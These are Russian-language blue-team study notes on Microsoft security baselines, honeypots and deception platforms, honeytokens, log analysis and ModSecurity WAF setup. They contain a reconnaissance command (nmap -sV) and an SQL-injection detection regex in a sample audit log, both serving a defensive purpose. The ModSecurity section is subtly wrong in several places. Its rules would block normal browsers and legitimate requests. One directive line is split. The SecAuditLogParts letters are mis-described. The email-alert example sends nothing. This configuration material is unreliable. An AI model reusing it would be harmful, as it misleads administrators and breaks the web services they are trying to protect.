  1. Готовые конфигурации безопасности: MSCT включает в себя готовые наборы рекомендаций по настройке безопасности для различных продуктов Microsoft, таких как операционные системы Windows, серверы и приложения. Эти наборы конфигураций, называемые бенчмарками безопасности (Security Baselines), содержат набор рекомендуемых настроек безопасности, которые можно применить с помощью групповых политик (GPO) для обеспечения соответствия и улучшения безопасности в организации.

  2. Инструменты анализа и реализации: В состав Toolkit входят инструменты для анализа безопасности существующих систем и для реализации рекомендуемых настроек безопасности. Например, инструменты Security Compliance Toolkit могут автоматически проверить соответствие существующих систем установленным бенчмаркам безопасности и предоставить рекомендации по улучшению безопасности.

  3. Документация и руководства: MSCT включает в себя подробные руководства по применению бенчмарков безопасности и использованию инструментов Toolkit. Эти руководства помогают администраторам понять рекомендации по настройке безопасности и успешно применить их в своей среде.

Бенчмарки безопасности, предоставляемые в составе Toolkit, часто используются для настройки безопасности с помощью групповых политик. Администраторы могут импортировать бенчмарки безопасности в GPO и применить их настройки к компьютерам и пользователям в своей сети, чтобы обеспечить соответствие установленным стандартам безопасности и улучшить защиту систем от угроз.

Более подробную информацию можно посмотреть по ссылке.

Полезные команды

Copy-GPO -SourceName "GPO to copy" -TargetName "Name"

Копирует групповую политику "GPO to copy" для использования в качестве новой политики с именем "Name".

New-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes

Создает новую групповую политику и связывает ее с выбранным подразделением или группой безопасности.

Set-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes

Связывает существующую групповую политику с соответствующим подразделением или группой безопасности.

Blue team

Honeypot

Honeypot-системы (или узлы-приманки) — вычислительные системы, предназначенные для привлечения внимания, чтобы атака была направлена на поддельную систему.

Узлы-приманки позволяют собирать ценную информацию об атакующих для дальнейшего анализа их поведения и предотвращения будущих атак. Решают задачи:

Эффективность использования зависит от их размещения. Важно учитывать тип эмулируемого ресурса в зависимости от располагаемых активов. 

Классификация

Классифицируют по их назначению (исследовательские и производственные) и уровню взаимодействия (низкий, средний и высокий).

По уровню взаимодействия:

Honeynet – сеть из связанных узлов, которые находятся под управлением специального межсетевого экрана, называемого honeywall. Размещение honeynet в корпоративной сети

image.png

Скомпрометированные системы представляют угрозу для сети компании. Поскольку приманки предназначены для компрометации, злоумышленники могут получить к ним полный доступ, создать ботнет, а затем атаковать другие системы или запустить DoS-атаку. Чтобы уменьшить риск заражения, сеть-приманка помещается за межсетевым экраном, который ограничивает доступ к производственной сети, поскольку через нее должен проходить весь входящий и исходящий трафик. Это также ограничивает объем вредоносного трафика, который может выйти из сети, не позволяя злоумышленнику атаковать другие системы.

Наиболее актуальная стадия развития honeypot-систем — deception-системы. Основной целью deception-систем по-прежнему является отвлечение атакующего от реальных ресурсов компании, но в масштабе, большем, чем в honeynet. Решения deception предполагают автоматизированный подход к обнаружению атак. Deception-системы эмулируют поведение инфраструктуры. Например, в рамках атаки злоумышленник может обнаружить эмулируемые сервера баз данных, размещенных рядом с другими незначительными с точки зрения ценности информации объектами сети. Исследование полученных сведений из баз данных позволит отвлечь атакующего от реальных активов.

Обнаружение разведки Active Directory при помощи Honeytoken

Создается поддельная учетная запись домена. При попытке логина в журнале событий (eventvwr. msc) появится запись с идентификатором события 4625 и имя поддельной учетной записи.

Также зарегистрируется событие 4771. При вводе учетной записи, рабочая станция связывается с локальным контроллером домена и запрашивает TGT. Если имя пользователя и пароль верны и учетная запись пользователя проходит проверки состояния и ограничений, контроллер домена предоставляет TGT и регистрирует событие с идентификатором 4768 (билет аутентификации предоставлен). Если запрос билета завершается неудачей, Windows регистрирует это событие с идентификатором 4771.

Для получения уведомлений при регистрации данных событий необходимо:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
    (*[System[EventID='4771']] or *[System[EventID='4625']]) and
    *[EventData[Data [@Name='TargetUserName']='ИМЯ_ПОЛЬЗОВАТЕЛЯ']]
    </Select>
  </Query>
</QueryList>

HoneyHash.

Для обнаружения атаки Pass-the-Hash. Включает размещение учетных данных для поддельной учетной записи в памяти LSASS на целевой системе. Если злоумышленник попытается воспользоваться учетными данными для атаки PtH, событие будет зарегистрировано для дальнейшего анализа. Такие события могут быть зарегистрированы при помощи Sysmon. При попытке проведения атаки PtH журнал событий будет содержать события с идентификаторами 4625 (неудачная попытка входа) и 10 (попытка доступа к процессу lsass.exe процессом mimikatz.exe).

Чтобы сделать поддельную учетную запись привлекательнее, возможно:

Примеры систем

В зависимости от специфики корпоративной сети возможно использование honeypot’ов с различным уровнем взаимодействия. 

При разворачивании honeypot’ов, представляющих собой конкретный сервис стоит понимать, что ловушка может либо имитировать работу конкретного протокола, либо выполнять полную эмуляцию сервиса. В первом случае не предусмотрены функциональные возможности сервиса, во втором случае решения используют надстройку над реальными службами для перехвата и дальнейшего анализа информации.

Honeypot-системы для баз данных

Honeypot-системы для веб-приложений:

Honeypot-системы для сетевых протоколов:

Honeypots — представляет собой модуль Python, который содержит honeypot’ы низкого уровня взаимодействия. Логирование данных о взаимодействии злоумышленника с узлом происходит в одном из поддерживаемых форматов: терминал, syslog, Postges, sqlite. В таблице ниже приведен список сервисов, эмулируемых данным средством.

Эмулируемый сервис

Порт

Логируемые данные о злоумышленнике

DNS

53/udp

IP-адрес, порт

FTP

21/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

HTTP Proxy

8080/tcp

IP-адрес, порт, данные в рамках сеанса

HTTP

80/tcp

IP-адрес, порт, данные в рамках сеанса

HTTPS

443/tcp

IP-адрес, порт, имя пользователя и пароль

IMAP

143/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

Mysql

3306/tcp

IP-адрес, порт, имя пользователя и пароль

POP3

110/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

Postgres

5432/tcp

IP-адрес, порт, имя пользователя и пароль

Redis

6379/tcp

IP-адрес, порт, имя пользователя и пароль

SMB

445/tcp

IP-адрес, порт, имя пользователя и пароль

SMTP

25/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

SOCKS5

1080/tcp

IP-адрес, порт, имя пользователя и пароль

SSH

22/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

Telnet

23/tcp

IP-адрес, порт, имя пользователя и пароль

VNC

5900/tcp

IP-адрес, порт, имя пользователя и пароль

Elastic

9200/tcp

IP-адрес, порт, действия в рамках сеанса

LDAP

389/tcp

IP-адрес, порт, имя пользователя и пароль

NTP

123/udp

IP-адрес, порт, действия в рамках сеанса

Memcache

11211/tcp

IP-адрес, порт, действия в рамках сеанса

Oracle

1521/tcp

IP-адрес, порт, имя пользователя и пароль

SNMP

161/udp

IP-адрес, порт, действия в рамках сеанса

SIP

5060/udp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

IRC

6667/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

PJL

9100/tcp

IP-адрес, порт, действия в рамках сеанса

IPP

631/tcp

IP-адрес, порт, действия в рамках сеанса

RDP

3389/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

DHCP

67/udp

IP-адрес, порт

Dionaea — honeypot на базе Python-модулей, реализующих имитацию работы протоколов. В отличие от honeypots является ловушкой среднего уровня взаимодействия. Некоторые из модулей предоставляют злоумышленнику ограниченный функционал соответствующего протокола. В таблице ниже приведен список сервисов, эмулируемых данным средством.

Эмулируемый сервис

Порт

Логируемые данные о злоумышленнике

FTP

21/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

HTTP

80/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

Memcache

11211/tcp

IP-адрес, порт, действия в рамках сеанса

MongoDB

27017/tcp

IP-адрес, порт, действия в рамках сеанса

MSSQL

1433/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

MySQL

3306/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса (эмуляция на уровне БД с помощью sqlite)

SIP

5060/udp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

SMB

445/tcp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

TFTP

69/udp

IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса

T-Pot — представляет собой honeypot-систему, в которой собран функционал описанных выше средств.

Тяжеленная хрень. 

Содержит большое количество средств визуализации информации о взаимодействии с системой злоумышленников, а также множество инструментов безопасности. Данная honeypot-система включает в себя описанные выше средства. Разворачивание каждого из эмулируемых сервисов происходит при помощи средств контейнеризации.

Для эмуляции системы, позволяющей выявлять активность злоумышленника в сети по популярным сетевым протоколам, рекомендуется использовать T-Pot. Инструкция по установке T-Pot:

Панели инструментов:

Attack Map карта с информацией о запросах, фиксируемых сервисами.
Cockpit web-панель управления ОС, на которой установлен T-Pot.
Cyberchef web-приложение для анализа сжатых/закодированных данных.
Elasticvue web-интерфейс для взаимодействия с подсистемой Elasticsearch.
Spiderfoot инструмент для автоматизации OSINT.
Kibana

панели с визуализацией данных, получаемых каждым из honeypot’ов.

Deception-технология - методы активного обмана злоумышленников с применением специальных ловушек, приманок и других приемов дезинформации. Применение таких методов внутри корпоративной сети позволяет рано обнаруживать целенаправленные атаки, которые могли быть упущены предупредительными мерами, такими как брандмауэры, системы предотвращения вторжений и антивирусные программы. Хотя термин "Deception" относительно новый, основная концепция этой технологии основана на принципе Honeypot-систем, но с более высоким уровнем реализации, возможностями масштабирования и автоматизации.

Deception-платформы представляют собой централизованные системы управления, которые создают, распространяют и управляют всей эмулируемой средой и связанными с ней компонентами архитектуры. Эти компоненты могут включать рабочие станции, серверы, устройства, приложения, сервисы, протоколы, элементы данных или пользователей, которые часто виртуализируются и практически неотличимы от реальных активов. Они используются в качестве приманки для привлечения и обнаружения злоумышленников. Отличительной особенностью Distributed Deceptive Platform (DDP) от Honeypot (Honeynet) является наличие распределенных систем, то есть при разворачивании таких систем, как правило, используются технологии виртуализации ВМ с возможностью централизованного управления ими. Разворачивание узлов может производиться автоматизировано с повторением корпоративной специфики компании. Ниже приведена сравнительная таблица с продуктами, реализующими технологию DDP.

 

ACALVIO Shadowplex

ATTIVO NETWORKS ThreatDefend Platform

COUNTERCRAFT Cyber Deception Platform

Cybertrap Cybertap

CYMME TRIA’S MazeRunner

FIDELIS Elevate

Illusion Black

XELLO

SIEM Интеграция

+

+

 

 

 

+

+

+

API

Наличие открытого API для интеграции + REST API

REST API

Наличие открытого API для интеграции + REST API

 

 

 

 

Наличие открытого API для интеграции + REST API

Возможности анализа ВПО

Интеграция Sandbox

Интеграция Sandbox

 

 

 

 

 

 

Интеграция с промышленными системами

SCADA IoT

POS SCADA IoT

 

 

IoT

 

IoT

 

Корреляция результатов

SIEM интеграция + встроенные средства корреляции

SIEM интеграция + встроенные средства корреляции

Встроенные средства корреляции

 

Встроенные средства корреляции

SIEM интеграция + встроенные средства корреляции

SIEM интеграция

IEM интеграция + встроенные средства корреляции

Тип эмуляции ловушек

Ловушки на базе полноценной ОС + наличие эмулированных сенсоров

Ловушки на базе полноценной ОС + наличие эмулированных сенсоров

Ловушки на базе полноценной ОС

Ловушки на базе полноценной ОС

Ловушки на базе полноценной ОС + наличие эмулированных сенсоров

Наличие эмулированных сенсоров

Ловушки на базе полноценной ОС + наличие эмулированных сенсоров

Ловушки на базе полноценной ОС

Этапы обнаружения атак

Разведка Боковое движение Эксфильтрация

Разведка Боковое движение Эксфильтрация

Разведка Боковое движение

Разведка Боковое движение Эксфильтрация

Разведка Боковое движение Эксфильтрация

Разведка Боковое движение Эксфильтрация

Разведка Боковое движение Эксфильтрация

Боковое движение

Эксфильтрация

Deception-токены (эмулируемые ОС)

Windows

Windows Linux Mac

Windows

Windows

Windows

Windows

Windows

Windows Linux

Обнаружение командных центров,

MITM

и бот-сетей

-

Обнаружение командных центров + Обнаружение атак MITM + ботнетдетектор

 

 

Обнаружение атак MITM

Обнаружение командных центров + ботнетдетектор

 

 

EDR

+

+

 

 

 

 

 

 

Active Directory

+

+

+

 

 

 

+

+

База данных

+

+

 

+

 

 

+

+

Общий сетевой ресурс

+

+

 

 

 

 

+

+

Blue team

Обнаружение на периметре.

Honeytoken

Honeytoken — ложная информация в системе или на сайте компании для привлечения внимания и определения факта НСД. Может быть в виде фиктивных учетных записей или файлов, содержащих ложную информацию. Часто являются компонентом honeypot-систем. Последовательность размещения:

Настройка получения уведомлений о проведении OSINT

При проведении OSINT пытаются получить следующие данные:

Каждый из этих информационных ресурсов возможно эмулировать и размещать в открытых источниках.

DNS Canarytoken

Механизм обнаружения НСД к DNS-серверам. Это уникальный DNS-запрос, который не должен быть использован нормальными пользователями или приложениями. Если кто-то попытается использовать этот запрос, это будет сигналом о возможной атаке. DNS Canarytoken может быть размещен на DNS-сервере или в зоне DNS-имен и может быть настроен для определенных типов DNS-запросов или для всех запросов. 

Поиск поддоменов третьего уровня — одно из действий при проведении OSINT. Самые распространенные префиксы попадают в словари утилит для поиска поддоменов. Регистрируем неиспользуемый поддомен, содержащийся среди ключевых слов сканеров и при доступе к которому будет происходить оповещение об обращении к нему.

Данный функционал реализован в Canarytokens. Уведомления об обращении присылаются на почтовый адрес, возможны webhook'и мессенджеров. Настройка осуществляется при помощи файла окружения. 

В Knary поддерживаются следующие сервисы для оповещения: Discord, Slack, Microsoft Teams, Pushover, Lark, Telegram. 

E-mail адреса

Обычно почтовые адреса аналогичны домену организации. Регистрируют поддельный e-mail. При выявлении деятельности (спам-рассылка, множественные попытки входа, использование почтового адреса в качестве логина при аутентификации, запросы к БД, содержащие сгенерированный e-mail) система обнаружения генерирует уведомление.

Репозитории Git

Часто в оставленных в публичном доступе репозиториях присутствуют API-токены доступа ко внутренним сервисам организации. Им могут пользоваться. Эмуляция и отслеживание аномальной активности, связанной с поддельным токеном (или даже целым endpoint’ом) выявляет факт компрометации исходного кода.

Для автоматизации и эффективного отслеживания деятельности злоумышленника на внешнем периметре компании можно использовать средство «Manuka», которое представляет собой агрегатор указанных выше методик по созданию honeytoken’ов.

Также для обнаружения OSINT’a возможно разворачивание средства T-Pot на внешнем периметре. Данное средство представляет собой сборку популярных honeypot-систем, эмулирующих отдельные сервисы (в т.ч. и DNS-серверы).

Анализ логов

Анализ логов выявляет подозрительные действия, указывающие на попытку проникновения. Можно определить:

Основные файлы журналов в Linux-системах

Текущая схема журналирования в Debian: 

[Программы] → journald → (опционально) rsyslog → /var/log/*.log

Подробнее о логах. rsyslog по умолчанию не установлен. Список журналов:

rsyslog/journald логи, генерируемые менеджером
kernel.log логи ядра ОС
audit.log логи ядра, которые пишет auditd, если он настроен
auth.log/secure журнал событий безопасности
Логи приложений например, веб-севера, БД или прочих

Файлы журналов различаются в разных ОС. Например, логи событий для команд sshd, sudo и прочих действий, связанных с безопасностью в Ubuntu, находятся в /var/log/auth.log, а в CentOS в /var/log/secure. Также, файлы менеджера журналирования находятся в /var/log/syslog для Ubuntu, а в CentOS - /var/log/messages. 

Daemon (демоны) в системах Linux

Демон Syslog

Менеджер журналов. Есть Nxlog и Syslog-NG, но Syslog наиболее распространен. Задача Syslog — прием событий от локальных служб, обработка, запись их в файлы журналов /var/log или пересылка событий по сети. Виды Syslog:

Обычно приложения отправляют события менеджеру журналов в своем формате, и для удобства чтения логов из разных источников эти сообщения нужно стандартизировать.

Веб-серверы и языки сценариев

Веб-сервер Nginx

У Nginx есть один главный и несколько рабочих процессов. Основная задача главного процесса — чтение и проверка конфигурации и управление рабочими процессами, которые выполняют фактическую обработку запросов.

Конфигурация Nginx разделяется на виртуальные серверы (директива «server»). Виртуальные серверы, в свою очередь, разделяются на location. Для виртуального сервера возможно задать адреса и порты, на которых будут приниматься соединения. 

Конфигурационный файл nginx.conf, каталоге /usr/local/nginx/conf, /etc/nginx или /usr/local/etc/nginx.

При работе Nginx ведет два файла журналов - access.log и error.log. Первый отвечает за журналирование успешно обработанных запросов клиентов, второй - за журнал ошибок. (access_log и error_log). По умолчанию Nginx имеет следующий формат логов: 

Сортировка лога по коду ответа: 

cat access.log | cut -d '"' -f3 | cut -d ' ' -f2 | sort | uniq -c | sort -rn

Найти запросы, которые получили в ответ 404 ошибку, и отсортировать по числу запросов на URL: 

awk '($9 ~ /404/)' access.log | awk '{print $7}' | sort | uniq -c | sort -rn

Список IP, с которых идут запросы к конкретному url:

awk -F\" '($2 ~ "/wp-admin/install.php"){print $1}' access.log | awk '{print $1}' | sort | uniq -c | sort -r

Список самых популярных URL:

awk -F\" '{print $2}' access.log | awk '{print $2}' | sort | uniq -c | sort -

В Elasticsearch для работы с такими логами удобно использовать фильтр event.category: "web". Также, для быстрого доступа к нужным данным можно выбрать интересующие аналитика поля в левой части в разделе Selected Fields, и нажав на значок "+" рядом с именем поля.

Обнаружение перечисления веб-сервера (Enumeration)

Обычно на фазе подготовки производят перечисление (enumeration) веб-сервера. В случае веб атак интересуют доступные URL, версия веб-сервера и установленные интерпретаторы. 

Для определения ОС и версии Nginx сервера, воспользуемся инструментом Nmap. Для определения версий ПО ключ -sV. 

nmap ip_addr -sV

При сканировании Nmap добавляет в заголовки запросов записи (поэтому нужно менять user-agent), позволяющие его идентифицировать.

Обнаружить перебор директорий по логам веб-сервера происходит с помощью контроля всплеска запросов с ответом от сервера 404 - Not found. Также в запросах подставляется несуществующий или устаревший User-agent, в нашем случае мы видим Mozilla/4.0 для Windows NT. 

Обнаружение атаки Local File Inclusion

В логах обращений к веб-серверу будет запись вида ../../ В SIEM. применим следующие фильтры:

event.category: process;
event.code: 1 - Sysmon event 1 описывает событие создания нового процесса;
winlog.event_data.ParentUser: www-data - нас интересуют процессы, запускаемые от пользователя www-data;

Поскольку Sysmon изначально был написан для Windows, некоторые системы используют уже работающие для Windows модули для импорта логов. Пусть вас не смущает Winlog в названии поля, в нашем случае это поле описывает пользователя-родителя процесса в Linux-системе. event.module: sysmon_linux - нас интересуют логи Sysmon for Linux.

Анализ логов Linux

Инцидент повышения привилегий является серьезным инцидентом безопасности. При подозрении важно провести углубленное расследование. Признаками повышения привилегий могут являться вредоносное ПО в конфиденциальных системах, подозрительные входы в систему и необычные сетевые соединения, срабатывания систем EDR, NIDS, DLP итд.

С позиции Blue Team-специалиста, такие инструменты как LinPEAS генерируют большое количество событий подряд (запуск команд для работы с текстовыми данными grep), не характерное для работы человека, занимающимся фильтрацией данных. Определения всплеска такой активности может помочь с обнаружением.

image.png

Web-shell. Самым простой - восстановление сайта из резервной копии и последующее устранение уязвимостей, которые привели к компрометации. Альтернативный способ — сравнить имеющиеся на сервере файлы с оригиналами, или настроить File Integrity monitoring (FIM). 

FIM — это способ контроля целостности файлов. Программа с некоторой периодичностью создает контрольные суммы файлов системы, и сравнивает их с предыдущими значениями. Если контрольная сумма изменилась — значит файл был изменен, и программа запишет это событие в лог.

Из Open-source решений, которые делают FIM можно выделить три самых популярных:

IDS/IPS

Для средств защиты сети, таких как IDS/IPS и WAF, основными полями для расследования в логах будут являться следующие поля:

Общий алгоритм анализа логов:

Сбор логов Логи содержат информацию об обнаруженных событиях, таких как сетевые атаки, подозрительная активность или нарушения безопасности. На этом этапе система записывает данные о событиях в свои лог-файлы.
Фильтрация и предварительный анализ Перед тем как начать полноценный анализ, происходит предварительная фильтрация данных. Это может включать в себя удаление дубликатов, фильтрацию по типу события, времени или другим критериям, чтобы уменьшить объем данных для более эффективного анализа.
Идентификация потенциально вредоносных событий Аналитики обращают внимание на события, которые могут указывать на потенциальные вторжения или атаки. Это включает в себя анализ сигнатур, обнаружение отклонений от нормы, анализ аномалий и другие методы идентификации аномальной активности.
Классификация и приоритезация событий События классифицируются по типу атаки или нарушения безопасности. Каждому событию присваивается приоритет в зависимости от потенциального воздействия на безопасность системы и данных.
Корреляция событий Иногда важно анализировать события в контексте других событий. Корреляция событий позволяет выявить более сложные атаки, которые могут проявляться через несколько этапов или методов.
Анализ сетевого трафика При обнаружении атаки аналитики могут анализировать сетевой трафик, связанный с атакой. Это включает в себя детальный анализ пакетов, их содержимого и потоков данных для более глубокого понимания характеристик атаки.
Дополнительные проверки Дополнительные проверки могут включать в себя анализ журналов системы, анализ конфигураций уязвимых систем, а также использование внешних источников данных - то есть поиск информации в других системах, отличных от средств сетевой защиты.
Реакция и реагирование В зависимости от важности и типа обнаруженной атаки, принимаются меры по реагированию. Это может включать в себя блокировку атакующего IP-адреса, изменение конфигурации системы, оповещение ответственных лиц и другие меры.
Документация и отчетность

Все обнаруженные события и предпринятые меры должны быть документированы. Это важно для дальнейшего анализа, а также для отчетности и аудита.

 

open-appsec

ModSecurity

ModSecurity — веб-брандмауэр (Web Application Firewall, WAF), в виде модуля веб-сервера. Встраивается в цикл обработки запросов и ответов веб-сервера Задачи:

Компоненты:

Apache

sudo apt update 
sudo apt install apache2 libapache2-mod-security2

Активация модуля 

sudo ln -s /etc/modsecurity/modsecurity.conf /etc/apache2/conf-enabled/
sudo systemctl restart apache2

Настройка ModSecurity

/etc/modsecurity/modsecurity.conf. 

# Основные настройки
SecRuleEngine On
SecRequestBodyAccess On
SecDataDir /var/cache/modsecurity
SecRequestBodyLimit 13107200

# Настройки логгирования
SecDebugLog /var/log/modsec_debug.log
SecDebugLogLevel 0
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogParts ABIFHZ
SecAuditLogType
Serial SecAuditLog /var/log/modsec_audit.log

#### Правила блокировки/пропускания запросов
# Правило пропускает запросы с IP адресов из whitelist
SecRule REMOTE_ADDR "@ipMatchFromFile /etc/modsecurity/whitelist.conf" "phase:1,nolog,allow"
# Правило разрешает метод OPTIONS
SecRule REQUEST_METHOD "OPTIONS" "phase:1,nolog,allow"
# Правило разрешает метод CONNECT
SecRule REQUEST_METHOD "CONNECT" "phase:1,nolog,allow"
# Правило запрещает использование любых методов кроме GET, HEAD и POST, и обозначает статус-код ошибки 405-ым
SecRule REQUEST_METHOD "!^(GET|HEAD|POST)$" "phase:2,deny,status:405,log,msg:'Method is not allowed.'"

#### Правила обнаружения атак
# Правило проверяет заголовок host - есть ли в нем IP адрес
SecRule REQUEST_HEADERS:Host "@rx ^\d+\.\d+\.\d+\.\d+$" "phase:1,block,log,msg:'IP address in Host header.'"
# Правило проверяет используемый протокол в запросе и блокирует соединения по HTTP, выдавая 403 код ответа
SecRule REQUEST_URI|REQUEST_HEADERS "!(?i:^https?://)" "phase:1,deny,status:403,id:1005,msg:'Non-HTTPS traffic not allowed.'"
# Правило блокирует трафик от ботов и сканеров, определеяя их по юзер-агенту
SecRule REQUEST_HEADERS:User-Agent "@pm (googlebot|bingbot)" "phase:1,deny,status:403,id:1006,msg:'Bot not allowed.'" 
# Правило для блокировки запросов с неправильными Referer - Referer отличается от SERVER_NAME
SecRule REQUEST_HEADERS:Referer "!@contains %{SERVER_NAME}" "phase:1,deny,status:403,id:1007,msg:'Invalid Referer.'" 
# Правило блокирует запросы с неправильными Content-Type
SecRule REQUEST_HEADERS:Content-Type "!@rx ^(application/x-www-form-urlencoded|multipart/form-data|text/plain)$" "phase:1,deny,status:403,id:1008,msg:'Invalid Content-Type.'"
# Правило блокирует запросы с неправильным User-Agent
SecRule REQUEST_HEADERS:User-Agent "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1009,msg:'Invalid User-Agent.'"
# Правило блокирует запросы с неправильными Accept-Charset
SecRule REQUEST_HEADERS:Accept-Charset "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1010,msg:'Invalid Accept-Charset.'"
# Правило блокирует запросы с неправильным Accept-Encoding
SecRule REQUEST_HEADERS:Accept-Encoding "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1011,msg:'Invalid Accept-Encoding.'"
# Правило блокирует запросы с неправильным Accept-Language
SecRule REQUEST_HEADERS:Accept-Language "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1012,msg:'Invalid Accept-Language.'" 

Некоторые из ключевых параметров:

SecRuleEngine — определяет, включен ли ModSecurity (On - включено, Off - выключено).
SecRequestBodyAccess — определяет, имеет ли ModSecurity доступ к телу запроса (On - включено, Off - выключено).
SecDataDir — определяет директорию для хранения данных, таких как временные файлы и директории.
SecDebugLog, SecDebugLogLevel — определяют файл и уровень журнала отладки.
SecAuditEngine, SecAuditLog, SecAuditLogRelevantStatus, SecAuditLogParts — настройки для журналирования аудита.

Проверка работоспособности

Можно создать простой тестовый файл, чтобы убедиться, что ModSecurity работает.
Создайте файл test.php в вашем веб-каталоге с содержимым:

<?php echo "Hello, World!"; ?>

Откройте этот файл в веб-браузере и убедитесь, что он доступен. Затем попробуйте создать запрос, который сработает на одном из правил ModSecurity, чтобы убедиться, что он блокирует нежелательные запросы.

анализ логов ModSecurity

Логи ModSecurity могут быть объемными и содержать различные сведения о запросах, правилах, срабатываниях и действиях, принятых модулем. Обычно логи ModSecurity находятся в каталоге, указанном в конфигурационном файле, например, /var/log/modsec_audit.log для журнала аудита.

Использование утилит для анализа логов:

Для анализа логов ModSecurity вы можете использовать утилиты, такие как grep, awk, sed, cat и другие.

Пример команды для просмотра последних 100 строк журнала аудита:

tail -n 100 /var/log/modsec_audit.log

Фильтрация логов по определенным событиям:

Используйте grep или другие инструменты для фильтрации логов по конкретным событиям. Например, для поиска срабатываний правила с ID 1001:

grep 'id:1001' /var/log/modsec_audit.log

Формат логов:

Включите необходимые поля в логах, используя настройки в конфигурационном файле, такие как SecAuditLogParts.
SecAuditLogParts в ModSecurity — это настройка, которая определяет, какие части данных будут включены в журнал аудита (audit log). Эта настройка позволяет настраивать формат вывода логов и включать в них только необходимую информацию. Каждая часть, определенная в SecAuditLogParts, представляет собой отдельный блок данных, который может быть включен или исключен в зависимости от потребностей анализа.

Пример использования SecAuditLogPart:

SecAuditLogParts ABCDEFGHZ

Основные части, которые можно включить в SecAuditLogParts:

A - Request Headers (REQUEST_HEADERS): Заголовки запроса

B - Request Body (REQUEST_BODY): Тело запроса

C - Response Headers (RESPONSE_HEADERS): Заголовки ответа

D - Response Body (RESPONSE_BODY): Тело ответа

E - UUID (UUID): Уникальный идентификатор транзакции

F - Unique ID (UNIQUE_ID): Уникальный идентификатор запроса (например, Apache unique request ID)

G - События в аудите (AUDIT_LOG): События в формате JSON

H - Примерный перевод событий в аудите (AUDIT_LOG_RELEVANT): Примерный перевод событий в формате JSON.

Z - Завершающая строка (END): Завершающая строка для каждого запроса

Использование SecAuditLogParts обеспечивает гибкость в конфигурации логирования ModSecurity, что важно при настройке системы безопасности для конкретных потребностей вашего веб-приложения.

Использование инструментов для визуализации

Используйте инструменты визуализации логов, такие как modsec_audit_log_viewer, modsecurity-transaction-dashboard, или другие, чтобы более наглядно анализировать данные. 

Проверка статуса срабатывания правил

При анализе логов обратите внимание на статусы срабатывания правил. Например, status:403 указывает на блокировку запроса.

Использование инструментов анализа безопасности:

Используйте инструменты безопасности, такие как ModSecurity-Log-Analyzer, которые специально созданы для анализа логов ModSecurity.
Простой пример лога:


--eca96d83-A-- [12/Dec/2023:15:30:45 +0000] U9Qn8HO@ABoAAHwMnNoAAAAB 192.168.1.100 12345 192.168.1.200 80
--eca96d83-B-- POST /example.php HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Content-Type: application/x-www-form-urlencoded Content-Length: 20 param1=value1&param2=value2
--eca96d83-C-- HTTP/1.1 403 Forbidden Content-Length: 214 Content-Type: text/html; charset=iso-8859-1
--eca96d83-F-- ...
--eca96d83-H-- Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\b(?:union\s*all|select\s*(?:.+)\s*from|create\s*(?:.+)\s*table|delete\s*from|drop\s*(?:.+)\s*table|exec\s*(?:\w+\s*|\s*)\(|insert\s*into|shutdown|update\s*(?:.+)\s*set)\b))" at ARGS_NAMES:param1. [file "/etc/modsecurity/modsecurity.conf"] [line "21"] [id "1001"] [msg "SQL Injection attempt."] [severity "CRITICAL"] [hostname "www.example.com"] [uri "/example.php"] [unique_id "U9Qn8HO@ABoAAHwMnNoAAAAB"]
--eca96d83-Z--

Части логов:

A - Информация о запросе, включая уникальный идентификатор события (U9Qn8HO@ABoAAHwMnNoAAAAB), IP-адрес клиента, порт клиента, IP-адрес сервера, и порт сервера.

B - Содержит сам запрос, включая метод (POST), URI (/example.php), HTTP-версию, заголовки запроса и тело запроса.

C - Информация о ответе сервера, включая код состояния (403 Forbidden), длину содержимого и тип контента.

F - Дополнительная информация (не показана в примере).

H - Лог ModSecurity, содержащий информацию о срабатывании правила. В данном случае, правило с id "1001" (SQL Injection attempt) сработало из-за обнаружения попытки SQL-инъекции в параметре param1.

Z - Завершающая часть лога.

Реагирование на инциденты с использованием ModSecurity

ModSecurity предоставляет несколько методов оповещения администратора об инцидентах безопасности. Эти методы включают в себя логирование событий, отправку электронных сообщений, уведомления в системные журналы и использование внешних систем мониторинга. Вот несколько способов, как ModSecurity может делать оповещения:

Логирование событий:

ModSecurity создает логи событий, которые могут быть анализированы администраторами. В журналах содержится информация о срабатываниях правил, заблокированных запросах и других событиях и инцидентах
Логи могут быть настроены в соответствии с требованиями и включать в себя различные уровни детализации, в зависимости от потребностей безопасности вашего приложения

Электронные уведомления:

В ModSecurity может быть настроена отправка почтовых сообщений в случае срабатывания определенных правил или классов атак. Для этого можно использовать настройку SecAction с действием:
log, pass, phase:2, msg:'Message to alert admin', logdata:'adminadmin@email.com'

Интеграция с системами мониторинга:

